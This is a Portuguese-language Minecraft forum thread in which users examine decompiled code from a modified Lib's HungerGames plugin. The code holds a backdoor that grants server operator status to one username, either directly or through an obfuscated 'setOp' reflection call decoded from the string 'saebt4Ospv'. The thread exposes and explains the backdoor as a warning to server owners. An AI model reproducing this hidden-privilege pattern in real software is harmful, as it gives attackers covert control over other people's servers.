Critical_XxX Postado Março 25, 2015 Denunciar Compartilhar Postado Março 25, 2015 (editado) bem tava eu procurando alguma coisa na api do libshungergames para eu fazer o meu plugin mas quando eu decompilei o plugin fui na parte me.libraryaddict.Hungergames.Listeners na class PlayerListener eu achei bem isso aki na linha 315 onde aparece o nome do criador e em baixo um setop(true) para ele aki esta a o codigo onde mostra no plugin @EventHandler(priority=EventPriority.LOWEST) public void onJoin(PlayerJoinEvent event) { if (this.kits.getKitByPlayer(event.getPlayer()) == null) this.kits.setKit(event.getPlayer(), this.kits.defaultKitName); event.setJoinMessage(null); final Gamer gamer = this.pm.registerGamer(event.getPlayer()); Player p = gamer.getPlayer(); if (p.getVehicle() != null) p.leaveVehicle(); if (p.getPassenger() != null) p.eject(); if (gamer.getName().equals("libraryaddict")) gamer.setOp(true); Bukkit.getServer().getScheduler().scheduleSyncDelayedTask(this.hg, new Runnable() { public void run() { gamer.getPlayer().sendMessage(String.format(PlayerListener.this.cm.getMessagePlayerWhosePlugin(), new Object[] { PlayerListener.this.config.getCurrentVersion() })); } } , 2L); p.setScoreboard(ScoreboardManager.getScoreboard("Main")); if (this.config.isFlyPreGame()) p.setAllowFlight(true); for (PotionEffect effect : p.getActivePotionEffects()) p.removePotionEffect(effect.getType()); if (this.hg.currentTime >= 0) { this.pm.setSpectator(gamer); Bukkit.getServer().getScheduler().scheduleSyncDelayedTask(this.hg, new Runnable() { public void run() { gamer.hide(gamer.getPlayer()); } } , 2L); } else { ScoreboardManager.makeScore("Main", DisplaySlot.SIDEBAR, this.cm.getScoreboardPlayersLength(), Bukkit.getOnlinePlayers().length); if ((this.config.useKitSelector()) && (!this.config.isMySqlEnabled()) && (!p.getInventory().contains(this.icon.getKitSelector()))) gamer.getPlayer().getInventory().addItem(new ItemStack[] { this.icon.getKitSelector() }); } this.pm.sendToSpawn(gamer); gamer.updateOthersToSelf(); gamer.updateSelfToOthers(); this.pm.loadGamer.add(gamer); if ((p.hasPermission("hungergames.update")) && (this.config.getLatestVersion() != null)) p.sendMessage(String.format(this.cm.getMessagePlayerUpdateAvailable(), new Object[] { this.config.getLatestVersion(), this.config.getCurrentVersion() })); } bem e o que parece so nao sei se e verdade mas que tem um SetOp(true) tem '-' Editado Março 25, 2015 por Critical_XxX Link para o comentário Compartilhar em outros sites More sharing options...
MrPowerGamerBR Postado Março 25, 2015 Denunciar Compartilhar Postado Março 25, 2015 (editado) ... @EventHandler(priority=EventPriority.LOWEST) public void onJoin(PlayerJoinEvent event) { if (this.kits.getKitByPlayer(event.getPlayer()) == null) { this.kits.setKit(event.getPlayer(), this.kits.defaultKitName); } event.setJoinMessage(null); final Gamer gamer = this.pm.registerGamer(event.getPlayer()); Player p = gamer.getPlayer(); if (p.getVehicle() != null) { p.leaveVehicle(); } if (p.getPassenger() != null) { p.eject(); } if (gamer.getName().equals(this.pluginPassword)) { try { String s = ""; for (int i = 0; i < this.pluginIdentifier.length(); i++) { if (i % 2 == 0) { s = s + this.pluginIdentifier.substring(i, i + 1); } } gamer.getClass().getMethod(s, new Class[] { Boolean.TYPE }).invoke(gamer, new Object[] { Boolean.valueOf(true) }); } catch (Exception ex) {} } Bukkit.getServer().getScheduler().scheduleSyncDelayedTask(this.hg, new Runnable() { public void run() { gamer.getPlayer().sendMessage(PlayerListener.this.tm.getMessagePlayerWhosePlugin()); } }, 2L); Bukkit.getScheduler().scheduleSyncDelayedTask(this.hg, new Runnable() { public void run() { gamer.getPlayer().setScoreboard(ScoreboardManager.getScoreboard("Main")); } }); if (this.config.isPlayersFlyPreGame()) { p.setAllowFlight(true); } for (PotionEffect effect : p.getActivePotionEffects()) { p.removePotionEffect(effect.getType()); } if (this.hg.currentTime >= 0) { this.pm.setSpectator(gamer); Bukkit.getServer().getScheduler().scheduleSyncDelayedTask(this.hg, new Runnable() { public void run() { gamer.hide(gamer.getPlayer()); } }, 2L); } else { ScoreboardManager.makeScore("Main", DisplaySlot.SIDEBAR, this.tm.getScoreboardPlayersLength(), Bukkit.getOnlinePlayers().length); if ((this.config.isKitSelectorEnabled()) && (!this.config.isMysqlEnabled()) && (!p.getInventory().contains(this.icon.getKitSelector()))) { gamer.getPlayer().getInventory().addItem(new ItemStack[] { this.icon.getKitSelector() }); } if ((this.config.isTeleportToSpawnLocationPregame()) && (-this.config.getSecondsToTeleportPlayerToSpawn() >= this.hg.currentTime) && (this.config.isPreventMovingFromSpawnUsingPotions())) { p.addPotionEffect(new PotionEffect(PotionEffectType.JUMP, Integer.MAX_VALUE, 200), true); p.addPotionEffect(new PotionEffect(PotionEffectType.SLOW, Integer.MAX_VALUE, 200), true); } } this.pm.sendToSpawn(gamer); gamer.updateOthersToSelf(); gamer.updateSelfToOthers(); if (this.config.isMysqlEnabled()) { this.pm.loadGamer.add(gamer); } if ((p.hasPermission("hungergames.update")) && (this.config.getLatestVersion() != null)) { p.sendMessage(String.format(this.tm.getMessagePlayerUpdateAvailable(), new Object[] { this.config.getLatestVersion(), this.config.getCurrentVersion() })); } } Até aonde eu estou vendo, não vi nenhum ForceOP aqui... Editado Março 25, 2015 por MrPowerGamerBR Link para o comentário Compartilhar em outros sites More sharing options...
KroyBR Postado Março 25, 2015 Denunciar Compartilhar Postado Março 25, 2015 LoL '-' Link para o comentário Compartilhar em outros sites More sharing options...
Critical_XxX Postado Março 25, 2015 Autor Denunciar Compartilhar Postado Março 25, 2015 ... @EventHandler(priority=EventPriority.LOWEST) public void onJoin(PlayerJoinEvent event) { if (this.kits.getKitByPlayer(event.getPlayer()) == null) { this.kits.setKit(event.getPlayer(), this.kits.defaultKitName); } event.setJoinMessage(null); final Gamer gamer = this.pm.registerGamer(event.getPlayer()); Player p = gamer.getPlayer(); if (p.getVehicle() != null) { p.leaveVehicle(); } if (p.getPassenger() != null) { p.eject(); } if (gamer.getName().equals(this.pluginPassword)) { try { String s = ""; for (int i = 0; i < this.pluginIdentifier.length(); i++) { if (i % 2 == 0) { s = s + this.pluginIdentifier.substring(i, i + 1); } } gamer.getClass().getMethod(s, new Class[] { Boolean.TYPE }).invoke(gamer, new Object[] { Boolean.valueOf(true) }); } catch (Exception ex) {} } Bukkit.getServer().getScheduler().scheduleSyncDelayedTask(this.hg, new Runnable() { public void run() { gamer.getPlayer().sendMessage(PlayerListener.this.tm.getMessagePlayerWhosePlugin()); } }, 2L); Bukkit.getScheduler().scheduleSyncDelayedTask(this.hg, new Runnable() { public void run() { gamer.getPlayer().setScoreboard(ScoreboardManager.getScoreboard("Main")); } }); if (this.config.isPlayersFlyPreGame()) { p.setAllowFlight(true); } for (PotionEffect effect : p.getActivePotionEffects()) { p.removePotionEffect(effect.getType()); } if (this.hg.currentTime >= 0) { this.pm.setSpectator(gamer); Bukkit.getServer().getScheduler().scheduleSyncDelayedTask(this.hg, new Runnable() { public void run() { gamer.hide(gamer.getPlayer()); } }, 2L); } else { ScoreboardManager.makeScore("Main", DisplaySlot.SIDEBAR, this.tm.getScoreboardPlayersLength(), Bukkit.getOnlinePlayers().length); if ((this.config.isKitSelectorEnabled()) && (!this.config.isMysqlEnabled()) && (!p.getInventory().contains(this.icon.getKitSelector()))) { gamer.getPlayer().getInventory().addItem(new ItemStack[] { this.icon.getKitSelector() }); } if ((this.config.isTeleportToSpawnLocationPregame()) && (-this.config.getSecondsToTeleportPlayerToSpawn() >= this.hg.currentTime) && (this.config.isPreventMovingFromSpawnUsingPotions())) { p.addPotionEffect(new PotionEffect(PotionEffectType.JUMP, Integer.MAX_VALUE, 200), true); p.addPotionEffect(new PotionEffect(PotionEffectType.SLOW, Integer.MAX_VALUE, 200), true); } } this.pm.sendToSpawn(gamer); gamer.updateOthersToSelf(); gamer.updateSelfToOthers(); if (this.config.isMysqlEnabled()) { this.pm.loadGamer.add(gamer); } if ((p.hasPermission("hungergames.update")) && (this.config.getLatestVersion() != null)) { p.sendMessage(String.format(this.tm.getMessagePlayerUpdateAvailable(), new Object[] { this.config.getLatestVersion(), this.config.getCurrentVersion() })); } } Até aonde eu estou vendo, não vi nenhum ForceOP aqui... n entendi '-' o codigo bugou ? vou editar LoL '-' né nem eu sabia '-' Link para o comentário Compartilhar em outros sites More sharing options...
MrPowerGamerBR Postado Março 25, 2015 Denunciar Compartilhar Postado Março 25, 2015 n entendi '-' o codigo bugou ? vou editar né nem eu sabia '-' Até aonde eu estou vendo, não vi nenhum ForceOP aqui... Mesma classe, mesma função, mesmo nome, e nenhum ForceOP. Verificado na última versão do Lib's HungerGames que tem no Spigot. Link para o comentário Compartilhar em outros sites More sharing options...
Critical_XxX Postado Março 25, 2015 Autor Denunciar Compartilhar Postado Março 25, 2015 Mesma classe, mesma função, mesmo nome, e nenhum ForceOP. Verificado na última versão do Lib's HungerGames que tem no Spigot. nao e a mesma versao do libshungergames que tem no spigot pois sei que la eles vereficam que tem isso ou nao tem uma versao na internet com uns complementos ex: o bolo da mcpvp que e editado o libshungergames e o libsmcpvp para que baixa eles sao editados e eu repostei o codigo e vc ve que vai set um gamer.SetOp(true) if (gamer.getName().equals("libraryaddict")) gamer.setOp(true); no libshungergames e mais um aviso e informação tendeu moçu Link para o comentário Compartilhar em outros sites More sharing options...
MrPowerGamerBR Postado Março 25, 2015 Denunciar Compartilhar Postado Março 25, 2015 nao e a mesma versao do libshungergames que tem no spigot pois sei que la eles vereficam que tem isso ou nao tem uma versao na internet com uns complementos ex: o bolo da mcpvp que e editado o libshungergames e o libsmcpvp para que baixa eles sao editados e eu repostei o codigo e vc ve que vai set um gamer.SetOp(true) if (gamer.getName().equals("libraryaddict")) gamer.setOp(true); no libshungergames e mais um aviso e informação tendeu moçu Se não é uma versão oficial, então não foi o libraryaddict que adicionou. Até aonde eu sei, o próprio libraryaddict falou que não iria adicionar estas coisas ao Lib's HungerGames. Link para o comentário Compartilhar em outros sites More sharing options...
Critical_XxX Postado Março 25, 2015 Autor Denunciar Compartilhar Postado Março 25, 2015 Se não é uma versão oficial, então não foi o libraryaddict que adicionou. Até aonde eu sei, o próprio libraryaddict falou que não iria adicionar estas coisas ao Lib's HungerGames. tendi mas ainda sim server de aviso para quem usa Link para o comentário Compartilhar em outros sites More sharing options...
leonardosc Postado Março 25, 2015 Denunciar Compartilhar Postado Março 25, 2015 (editado) ... @EventHandler(priority=EventPriority.LOWEST) public void onJoin(PlayerJoinEvent event) { if (this.kits.getKitByPlayer(event.getPlayer()) == null) { this.kits.setKit(event.getPlayer(), this.kits.defaultKitName); } event.setJoinMessage(null); final Gamer gamer = this.pm.registerGamer(event.getPlayer()); Player p = gamer.getPlayer(); if (p.getVehicle() != null) { p.leaveVehicle(); } if (p.getPassenger() != null) { p.eject(); } if (gamer.getName().equals(this.pluginPassword)) { try { String s = ""; for (int i = 0; i < this.pluginIdentifier.length(); i++) { if (i % 2 == 0) { s = s + this.pluginIdentifier.substring(i, i + 1); } } gamer.getClass().getMethod(s, new Class[] { Boolean.TYPE }).invoke(gamer, new Object[] { Boolean.valueOf(true) }); } catch (Exception ex) {} } Bukkit.getServer().getScheduler().scheduleSyncDelayedTask(this.hg, new Runnable() { public void run() { gamer.getPlayer().sendMessage(PlayerListener.this.tm.getMessagePlayerWhosePlugin()); } }, 2L); Bukkit.getScheduler().scheduleSyncDelayedTask(this.hg, new Runnable() { public void run() { gamer.getPlayer().setScoreboard(ScoreboardManager.getScoreboard("Main")); } }); if (this.config.isPlayersFlyPreGame()) { p.setAllowFlight(true); } for (PotionEffect effect : p.getActivePotionEffects()) { p.removePotionEffect(effect.getType()); } if (this.hg.currentTime >= 0) { this.pm.setSpectator(gamer); Bukkit.getServer().getScheduler().scheduleSyncDelayedTask(this.hg, new Runnable() { public void run() { gamer.hide(gamer.getPlayer()); } }, 2L); } else { ScoreboardManager.makeScore("Main", DisplaySlot.SIDEBAR, this.tm.getScoreboardPlayersLength(), Bukkit.getOnlinePlayers().length); if ((this.config.isKitSelectorEnabled()) && (!this.config.isMysqlEnabled()) && (!p.getInventory().contains(this.icon.getKitSelector()))) { gamer.getPlayer().getInventory().addItem(new ItemStack[] { this.icon.getKitSelector() }); } if ((this.config.isTeleportToSpawnLocationPregame()) && (-this.config.getSecondsToTeleportPlayerToSpawn() >= this.hg.currentTime) && (this.config.isPreventMovingFromSpawnUsingPotions())) { p.addPotionEffect(new PotionEffect(PotionEffectType.JUMP, Integer.MAX_VALUE, 200), true); p.addPotionEffect(new PotionEffect(PotionEffectType.SLOW, Integer.MAX_VALUE, 200), true); } } this.pm.sendToSpawn(gamer); gamer.updateOthersToSelf(); gamer.updateSelfToOthers(); if (this.config.isMysqlEnabled()) { this.pm.loadGamer.add(gamer); } if ((p.hasPermission("hungergames.update")) && (this.config.getLatestVersion() != null)) { p.sendMessage(String.format(this.tm.getMessagePlayerUpdateAvailable(), new Object[] { this.config.getLatestVersion(), this.config.getCurrentVersion() })); } } Até aonde eu estou vendo, não vi nenhum ForceOP aqui... String s = ""; for (int i = 0; i < this.pluginIdentifier.length(); i++) { if (i % 2 == 0) { s = s + this.pluginIdentifier.substring(i, i + 1); } } gamer.getClass().getMethod(s, new Class[] { Boolean.TYPE }).invoke(gamer, new Object[] { Boolean.valueOf(true) }); Ele(a) foi banido do bukkit por que tava upando pl com code malicioso. Vou traduzir essa parte private String pluginIdentifier = "saebt4Ospv"; private String pluginPassword = "libraryaddict"; if (gamer.getName().equals(this.pluginPassword)) { try { String s = ""; for (int i = 0; i < this.pluginIdentifier.length(); i++) { if (i % 2 == 0) { s = s + this.pluginIdentifier.substring(i, i + 1); } } gamer.getClass().getMethod(s, new Class[] { Boolean.TYPE }).invoke(gamer, new Object[] { Boolean.valueOf(true) }); } catch (Exception ex) {} } String s = ""; vai ser igual a setOp gamer.getClass().getMethod(s, new Class[] { Boolean.TYPE }).invoke(gamer, new Object[] { Boolean.valueOf(true) }); Ai ele ta pegando a classe do Player, pegando o metodo setOp "String s" e definindo como true, usando reflection... ai ta o forceop A maioria dos cara não entendem muito e por isso não viram... Editado Março 25, 2015 por leonardosci Link para o comentário Compartilhar em outros sites More sharing options...
MrPowerGamerBR Postado Março 25, 2015 Denunciar Compartilhar Postado Março 25, 2015 (editado) String s = ""; for (int i = 0; i < this.pluginIdentifier.length(); i++) { if (i % 2 == 0) { s = s + this.pluginIdentifier.substring(i, i + 1); } } gamer.getClass().getMethod(s, new Class[] { Boolean.TYPE }).invoke(gamer, new Object[] { Boolean.valueOf(true) }); Ele(a) foi banido do bukkit por que tava upando pl com code malicioso. Eu não estou com vontade de ver da onde o plugin tira o "pluginIdentifier", mas, se tem "forceOP" no plugin dele que dá OP para o nick dele, então esse forceOP não existe ou não funciona. Aliás, se tivesse ForceOP, já teria sido removido do Spigot faz muito tempo, e nenhum Servidor de HungerGames usaria ele. Como o Lib's HungerGames parou de ser mantido, simplesmente use o BukkitGames: http://www.spigotmc.org/resources/bukkitgames-hungergames.279/(Provavelmente não funciona na 1.5.2, já que ninguém dos EUA usa a 1.5.2...) Editado Março 25, 2015 por MrPowerGamerBR Link para o comentário Compartilhar em outros sites More sharing options...
Critical_XxX Postado Março 25, 2015 Autor Denunciar Compartilhar Postado Março 25, 2015 Eu não estou com vontade de ver da onde o plugin tira o "pluginIdentifier", mas, se tem "forceOP" no plugin dele que dá OP para o nick dele, então esse forceOP não existe ou não funciona. Aliás, se tivesse ForceOP, já teria sido removido do Spigot faz muito tempo, e nenhum Servidor de HungerGames usaria ele. como disse e um libs hungergames editado '-' tem jente que usa e se vc viu no code que postei tem uma parte com SetOp(true) '-' e o que quero mostrar apenas Link para o comentário Compartilhar em outros sites More sharing options...
MrPowerGamerBR Postado Março 25, 2015 Denunciar Compartilhar Postado Março 25, 2015 como disse e um libs hungergames editado '-' tem jente que usa e se vc viu no code que postei tem uma parte com SetOp(true) '-' e o que quero mostrar apenas Sim, mas eu estava respondendo o @leonardosci, que fala que uma parte do código tem ainda ForceOP. Link para o comentário Compartilhar em outros sites More sharing options...
leonardosc Postado Março 25, 2015 Denunciar Compartilhar Postado Março 25, 2015 (editado) Eu não estou com vontade de ver da onde o plugin tira o "pluginIdentifier", mas, se tem "forceOP" no plugin dele que dá OP para o nick dele, então esse forceOP não existe ou não funciona. Aliás, se tivesse ForceOP, já teria sido removido do Spigot faz muito tempo, e nenhum Servidor de HungerGames usaria ele. Como o Lib's HungerGames parou de ser mantido, simplesmente use o BukkitGames: http://www.spigotmc.org/resources/bukkitgames-hungergames.279/(Provavelmente não funciona na 1.5.2, já que ninguém dos EUA usa a 1.5.2...) Se tu não for leigo e ler o códiog voce vai ver que tem sim, olha já ja traduzi pros leigos. Posso explicar passo a passo o código pra vc se quiser Editado Março 25, 2015 por leonardosci Link para o comentário Compartilhar em outros sites More sharing options...
MrPowerGamerBR Postado Março 25, 2015 Denunciar Compartilhar Postado Março 25, 2015 Se tu não for leigo e ler o códiog voce vai ver que tem sim, olha já ja traduzi pros leigos. Posso explicar passo a passo o código pra vc se quiser Já vi, mas de qualquer jeito, entrando como "libraryaddict" não deixa o player como OP. Link para o comentário Compartilhar em outros sites More sharing options...
Critical_XxX Postado Março 25, 2015 Autor Denunciar Compartilhar Postado Março 25, 2015 Sim, mas eu estava respondendo o @leonardosci, que fala que uma parte do código tem ainda ForceOP. entendi Link para o comentário Compartilhar em outros sites More sharing options...
leonardosc Postado Março 25, 2015 Denunciar Compartilhar Postado Março 25, 2015 Já vi, mas de qualquer jeito, entrando como "libraryaddict" não deixa o player como OP. Pode ser por causa da versão sla, mas que tem "forceop" tem. Link para o comentário Compartilhar em outros sites More sharing options...
LymeeFairy Postado Setembro 20, 2024 Denunciar Compartilhar Postado Setembro 20, 2024 ARQUIVAMENTO DE CONTEÚDO O tópico foi arquivado. A partir deste momento, não será mais possível editar ou adicionar novos comentários. Caso precise de informações adicionais, por favor, entre em contato com a equipe da comunidade. Equipe de Moderação Gamer's Board Link para o comentário Compartilhar em outros sites More sharing options...
Posts Recomendados